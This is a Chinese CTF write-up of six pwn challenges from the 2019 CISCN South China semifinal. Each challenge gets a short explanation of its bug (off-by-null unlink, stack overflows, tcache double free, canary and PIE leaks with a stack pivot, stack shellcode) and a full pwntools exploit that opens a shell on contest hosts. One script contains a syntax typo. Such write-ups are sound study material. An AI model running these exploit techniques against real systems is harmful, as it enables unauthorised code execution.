2019CISCN华南赛区半决赛之pwn
2019-07-06 09:10:00 Author: xz.aliyun.com(查看原文) 阅读量:112 收藏

一道堆漏洞利用的程序,64位程序,除了pie以外其他保护机制都开了

主要的漏洞点就出在这里,一个off by null,由于malloc的时候有限制,只能输入0x80--0x100的大小,这里比较好用的办法就是unlink,进行一次任意地址写

这里比较骚的地方是存在key1限制了edit函数的使用次数,以及存在key2限制使用show函数

主要的利用思路是:

  • 先unlink一次使得key2为1,从而能show出libc,同时在用一次offbynull,使得key1为0
  • 再次利用两次的edit,修改free_hook为system
  • free一个内容为/bin/sh的chunk,即可getshell

exp

#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def piedebug(addr):
    text_base = int(os.popen("pmap {}|awk '{{print $1}}'".format(p.pid)).readlines()[2],16)
    log.info("elf_base:{}".format(hex(text_base)))
    log.info("fake_heap:{}".format(hex(text_base + 0x202018)))
    #log.info("get_array:{}".format(hex(text_base + 0x202140)))
    if addr!=0:
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p)
    pause()
#-------------------------------------
def sl(s):
    return p.sendline(s)
def sd(s):
    return p.send(s)
def rc(timeout=0):
    if timeout == 0:
        return p.recv()
    else:
        return p.recv(timeout=timeout)
def ru(s, timeout=0):
    if timeout == 0:
        return p.recvuntil(s)
    else:
        return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
    return p.sendlineafter(a,s)
def sda(a,s):
    return p.sendafter(a,s)
def debug(addr=''):
    gdb.attach(p,addr)
    pause()
def getshell():
    p.interactive()
def msg(msg,addr):
    log.warn(msg+"->"+hex(addr))
#-------------------------------------
def new(idx,size,content):
    rc()
    sl("1")
    ru("index:\n")
    sl(str(idx))
    ru("size:\n")
    sd(str(size))
    ru("gift: ")
    leak = int(ru("\n"),16)
    ru("content:\n")
    sd(content)
    return leak
def edit(idx,content):
    rc()
    sl("3")
    ru("index:\n")
    sd(str(idx))
    ru("content:\n")
    sd(content)

def free(idx):
    ru("4.show\n")
    sl("2")
    ru("index:\n")
    sd(str(idx))

def exp():
    new(2,0xf8,"/bin/sh")
    heap=new(32,0xf8,"a"*8)   

    bss = 0x6020E0 + 32*8 #heap-0x10
    fd = bss-3*8
    bk = fd+8

    pay = p64(0)+p64(0xf1)
    pay+= p64(fd)+p64(bk)
    pay = pay.ljust(0xf0)
    pay += p64(0xf0)

    new(31,0xf8,"a"*8)
    new(30,0xf8,"a"*8)
    edit(32,pay)

    free(31)#unlink

    target = 0x6020E0 + 32*8 - 0x18
    pay = p64(target)*3 +  p64(elf.got['free'])
    pay = pay.ljust(0xf0,'a')
    pay += p64(1)
    edit(32,pay)

    sl("4")
    ru("index:")
    sl("32")
    p.recvline()
    leak = u64(p.recvline()[:6].ljust(8,'\x00'))
    libc_base = leak - libc.symbols['free']
    system = libc.symbols['system'] + libc_base
    free_hook = libc.symbols['__free_hook'] + libc_base
    print hex(leak)
    success(hex(system))

    pay = 'a'*0x18 +  p64(free_hook)
    pay = pay.ljust(0xf0,'a')
    pay += p64(1)a
    edit(30,pay)

    edit(32,p64(system))
    free(2)
    p.interactive()


if __name__ == '__main__':
    bin_elf = "./pwn"
    elf = ELF(bin_elf)
    context.binary=bin_elf
    context.log_level = "debug"
    #context.terminal=['tmux', 'splitw', '-h']
    if sys.argv[1] == "r":
        p = remote("172.29.3.112","9999")
        libc = elf.libc
    elif sys.argv[1] == "l":
        libc = elf.libc
        p = process(bin_elf)
    exp()

32位程序,只开了nx保护,简单栈溢出漏洞

from pwn import*
context.log_level = "debug"

elf = ELF('./pwn')
p = remote("172.29.3.115","9999")
#p = process('./pwn')
libc = elf.libc


payload = 'a'*0x28
p.recv()
p.sendline(payload)
p.recvuntil('a'*0x28)
p.recv(8)
leak = u32(p.recv(4))
success(hex(leak))
libc_base = leak - 0x1b23dc
libc.address = libc_base
one = libc_base + 0x3ac69
print p.recv()
payload = 'a'*0x28 + 'bbbb' + p32(one)
p.sendline(payload)
p.interactive()

64位只开了nx的静态编译程序

看起来是一道很麻烦的逆向题,实际上只是一个异或加密+栈溢出,生成ropchain,一把梭就完事了

exp

from pwn import*
#io = process("./easy_pwn")
io = remote("172.29.3.119","9999")
elf = ELF("./easy_pwn")
context.log_level = "debug"
from struct import pack
# Padding goes here
p = ''
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004006e6) # pop rdi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000449bf5) # pop rdx ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000449b9c) # pop rax; ret
p += p64(59) # add rax, 1 ; ret
p += pack('<Q', 0x000000000040139c) # syscall

strings = ""
for i in p :
    strings += chr(ord(i)^0x66)

pay = 'a'*0x50 + strings

io.recv()
io.sendline(pay)
io.interactive()

64位只开了nx

这题本质上也是一个栈溢出,据说官方解法是srop

但我这里用的是系统调用execve(/bin//sh,0,0)这样的方法

因为这里有条这样的gadget,不用白不用啊

exp

#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def piedebug(addr):
    text_base = int(os.popen("pmap {}|awk '{{print $1}}'".format(p.pid)).readlines()[1],16)
    log.info("elf_base:{}".format(hex(text_base)))
    log.info("fake_heap:{}".format(hex(text_base + 0x202018)))
    #log.info("get_array:{}".format(hex(text_base + 0x202140)))
    if addr!=0:
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p)
    pause()
#-------------------------------------
def sl(s):
    return p.sendline(s)
def sd(s):
    return p.send(s)
def rc(timeout=0):
    if timeout == 0:
        return p.recv()
    else:
        return p.recv(timeout=timeout)
def ru(s, timeout=0):
    if timeout == 0:
        return p.recvuntil(s)
    else:
        return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
    return p.sendlineafter(a,s)
def sda(a,s):
    return p.sendafter(a,s)
def debug(addr=''):
    gdb.attach(p,addr)
    pause()
def getshell():
    p.interactive()
def msg(msg,addr):
    log.warn(msg+"->"+hex(addr))
#-------------------------------------
def exp():
    aaa=asm(shellcraft.sh())
    pop_rdi_ret=0x00000000004005a3
    pop_rsi_r15=0x00000000004005a1
    pop_r14_r15=0x00000000004005a0
    mov_eax_exe_ret=0x00000000004004e3 
    pop_r12_r13_r14_r15=0x000000000040059c
    pop_rbx_rbp_r12_r13_r14_r15=0x40059A
    mov_rdx_r13_rsi_r14_edi_r15_call=0x400580
    #call r12+rbx*8

    ret=0x004003a9
    main  = 0x4004ED
    syscall_ret=0x0000000000400517
    g = 0x4004da


    pay = "a"*16+p64(main)
    sd(pay)
    #print p.recv()
    stack = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))

    msg("stack",stack)
    stack=stack-0x118
    msg("stack",stack)

    pay = "/bin//sh\x00".ljust(0x10,"\x00")

    pay+=p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(10)+p64(0)+p64(stack)+p64(0)+p64(0)*2
    pay+=p64(mov_rdx_r13_rsi_r14_edi_r15_call)

    pay+=p64(mov_eax_exe_ret)
    pay+=p64(pop_rdi_ret)+p64(stack)
    pay+=p64(pop_rsi_r15)+p64(0)*2
    pay+=p64(syscall_ret)
    sd(pay)
    getshell()


if __name__ == '__main__':
    bin_elf = "./pwn"
    elf = ELF(bin_elf)
    context.binary=bin_elf
    context.log_level = "debug"

    if sys.argv[1] == "r":
        p = remote("172.29.3.114",9999)
        libc = elf.libc
    elif sys.argv[1] == "l":
        libc = elf.libc
        p = process(bin_elf)
    exp()

这个略坑,比赛的时候没告诉libc,实际上是glibc2.27

就常规的做法,首先填满tcache,泄漏出libc

接着改fd,double free 改free hook为system

exp

#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def piedebug(addr):
    text_base = int(os.popen("pmap {}|awk '{{print $1}}'".format(p.pid)).readlines()[1],16)
    log.info("elf_base:{}".format(hex(text_base)))
    log.info("fake_heap:{}".format(hex(text_base + 0x202018)))
    #log.info("get_array:{}".format(hex(text_base + 0x202140)))
    if addr!=0:
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p)
    pause()
#-------------------------------------
def sl(s):
    return p.sendline(s)
def sd(s):
    return p.send(s)
def rc(timeout=0):
    if timeout == 0:
        return p.recv()
    else:
        return p.recv(timeout=timeout)
def ru(s, timeout=0):
    if timeout == 0:
        return p.recvuntil(s)
    else:
        return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
    return p.sendlineafter(a,s)
def sda(a,s):
    return p.sendafter(a,s)
def debug(addr=''):
    gdb.attach(p,addr)
    pause()
def getshell():
    p.interactive()
def msg(msg,addr):
    log.warn(msg+"->"+hex(addr))
#-------------------------------------
def new(size,name,call):
    ru("choice:")
    sl("1")
    ru("Please input the size of compary's name\n")
    sl(str(size))
    ru("please input name:\n")
    sd(name)
    ru("please input compary call:\n")
    sd(call)

def free(idx):
    ru("choice:")
    sl("3")
    ru("Please input the index:\n")
    sl(str(idx))

def show(size):
    ru("choice:")
    sl("2")
    ru("Please input the index:\n")
    sl(str(size))


def exp1():
    new(0x18,"a"*8,"b"*8)
    new(0x100,"a"*8,"b"*8)
    new(0x100,"a"*8,"b"*8)
    #
    free(0)
    for x in range(8):
        free(1)
    new(0x100,"c"*8,"d"*8)#3
    show(3)
    ru("c"*8)
    libc.address = u64(p.recv(6).ljust(8,"\x00"))-88-8-0x10-libc.sym["__malloc_hook"]
    free_hook = libc.sym["__free_hook"]
    system = libc.sym["system"]
    msg("libc.address",libc.address)
    new(0x50,"a"*8,"b"*8)#4
    new(0x50,"a"*8,"b"*8)
    new(0x50,"a"*8,"b"*8)
    free(4)
    free(4)
    new(0x50,p64(free_hook),"b"*8)
    #piedebug(0)
    new(0x50,"/bin/sh\x00","b"*8)
    new(0x50,p64(system),"b"*8)
    #piedebug(0)
    free(7)
#   ru("choice:")
#   sl("3")
#   print p.recv()
    getshell()
    pause()

if __name__ == '__main__':
    bin_elf = "./pwn"
    elf = ELF(bin_elf)
    context.binary=bin_elf
    context.log_level = "debug"
    if sys.argv[1] == "r":
        p = remote("172.29.3.117",9999)
        libc = elf.libc
    elif sys.argv[1] == "l":
        libc = elf.libc
        p = process(bin_elf)
    exp1()

64位保护全开,本质上仍然是栈溢出漏洞,只不过是c++写的

由于保护全开,需要依次泄漏出canary,elf base,libc base

然后由于可溢出的字节太少,又需要一波栈迁移,但只需要把栈抬高即可,没必要用到bss

最后就常规rop调用system来getshell

漏洞点就主要在这里

exp

#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def piedebug(addr):
    text_base = int(os.popen("pmap {}|awk '{{print $1}}'".format(p.pid)).readlines()[1],16)
    log.info("elf_base:{}".format(hex(text_base)))
    log.info("fake_heap:{}".format(hex(text_base + 0x202018)))
    #log.info("get_array:{}".format(hex(text_base + 0x202140)))
    if addr!=0:
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p)
    pause()
#-------------------------------------
def sl(s):
    return p.sendline(s)
def sd(s):
    return p.send(s)
def rc(timeout=0):
    if timeout == 0:
        return p.recv()
    else:
        return p.recv(timeout=timeout)
def ru(s, timeout=0):
    if timeout == 0:
        return p.recvuntil(s)
    else:
        return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
    return p.sendlineafter(a,s)
def sda(a,s):
    return p.sendafter(a,s)
def debug(addr=''):
    gdb.attach(p,addr)
    pause()
def getshell():
    p.interactive()
def msg(msg,addr):
    log.warn(msg+"->"+hex(addr))
#-------------------------------------
def exp():
    name ="admin"
    new = ""
    for i in range(len(name)):
        new+=chr(ord(name[i])^i)

    #piedebug(0x0118A)
    ru("please input your name\n")
    sl(new)
    ru("do you want to get something???\n")

    sd("a"*0x19)
    ru("a"*0x18)
    canary = u64(p.recv(8))-0x61
    stack = u64(p.recv(6).ljust(8,"\x00"))-0x28
    msg("canary",canary)
    msg("stack",stack)
    ru("OK???\n")
    sd("b"*0x18+p64(canary))
    #pause()
    ru("I think you can do something now\n")
    pay = "c"*0x18+"a"*0x10+p64(canary)+"a"*8+"\xde\x50"#1/16
    #pay = "%7$p%8$p%9$p".ljust(0x18,"\x00")+p64(canary)*4+"\xa2\x11"#1/16
    sd(pay)
    #print p.recv()
    ru("do you want to get something???\n")

    sd("a"*0x21)
    ru("OK???\n")
    sd("b"*0x29)
    ru("a"*8)
    piebase = u64(p.recv(6).ljust(8,"\x00"))-0x1440
    msg("piebase",piebase)
    printf_got=elf.got["printf"]+piebase
    printf_plt=elf.plt["printf"]+piebase
    read_got=elf.got["read"]+piebase
    pop_rdi_ret=piebase+0x14a3
    leave_ret=piebase+0x10dc
    vul = piebase+0x10de
    msg("printf_got",printf_got)
    msg("printf_plt",printf_plt)
    msg("read_got",read_got)

    ru("I think you can do something now\n")
    gadget = "a"*0x8+p64(pop_rdi_ret)+p64(read_got)+p64(printf_plt)
    pay = gadget+p64(vul)+p64(canary)+p64(stack)+p64(leave_ret)
    sd(pay)
    libc.address = u64(p.recv(6).ljust(8,"\x00"))-libc.sym["read"]
    system = libc.sym["system"]
    msg("libc.address",libc.address)

    ru("do you want to get something???\n")
    #piedebug(0x11fe)
    sd("a"*0x8)
    ru("OK???\n")
    sd("b"*0x8)
    ru("I think you can do something now\n")
    gadget = "/bin/sh\x00"+p64(pop_rdi_ret)+p64(stack)+p64(system)
    pay = gadget+p64(0)+p64(canary)+p64(stack-0x10)+p64(leave_ret)
    sd(pay)
    getshell()






if __name__ == '__main__':
    bin_elf = "./pwn"
    elf = ELF(bin_elf)
    context.binary=bin_elf
    context.log_level = "debug"
    #context.terminal=['tmux', 'splitw', '-h']
    if sys.argv[1] == "r":
        p = remote("172.29.3.118",9999)
        libc = elf.libc
    elif sys.argv[1] == "l":
        libc = elf.libc
        #取消aslr保护机制
        #p = process(bin_elf, aslr=0)
        #加入libc进行调试:
        #p = process(bin_elf,env = {"LD_PRELOAD": "../libc-2.23.so.i386"})

    while True:
        try:
            p = process(bin_elf)
            exp()
        except:
            p.close()

简单栈溢出,nx都没开,很明显,栈里面执行shellcode了

exp

#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def sl(s):
    return p.sendline(s)
def sd(s):
    return p.send(s)
def rc(timeout=0):
    if timeout == 0:
        return p.recv()
    else:
        return p.recv(timeout=timeout)
def ru(s, timeout=0):
    if timeout == 0:
        return p.recvuntil(s)
    else:
        return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
    return p.sendlineafter(a,s)
def sda(a,s):
    return p.sendafter(a,s)
def debug(addr=''):
    gdb.attach(p,addr)
    pause()
def getshell():
    p.interactive()
def msg(msg,addr):
    log.warn(msg+"->"+hex(addr))
#-------------------------------------
def exp():
    jmp = 0x08048554
    shellcode ='''
    xor    eax,eax
    push   eax
    push   0x68732f2f
    push   0x6e69622f
    mov    ebx,esp
    mov    ecx,eax
    mov    edx,eax
    mov    al,0xb
    int    0x80
    xor    eax,eax
    inc    eax
    int    0x80
    '''
    shellcode =asm(shellcode)
    shell="sub esp,0x28;call esp"
    shell =asm(shell)
    ru(">\n")
    pay = shellcode.ljust(0x24,"\x00")
    pay+= p32(jmp)
    pay+=shell
    #debug("b *0x8048554")
    sl(pay)
    getshell()





if __name__ == '__main__':
    bin_elf = "./pwn"
    elf = ELF(bin_elf)
    context.binary=bin_elf
    context.log_level = "debug"
    #context.terminal=['tmux', 'splitw', '-h']
    if sys.argv[1] == "r":
        p = remote("172.29.3.120",9999)
        libc = elf.libc
    elif sys.argv[1] == "l":
        libc = elf.libc
        p = process(bin_elf)
    exp()

文章来源: http://xz.aliyun.com/t/5517
如有侵权请联系:admin#unsafe.sh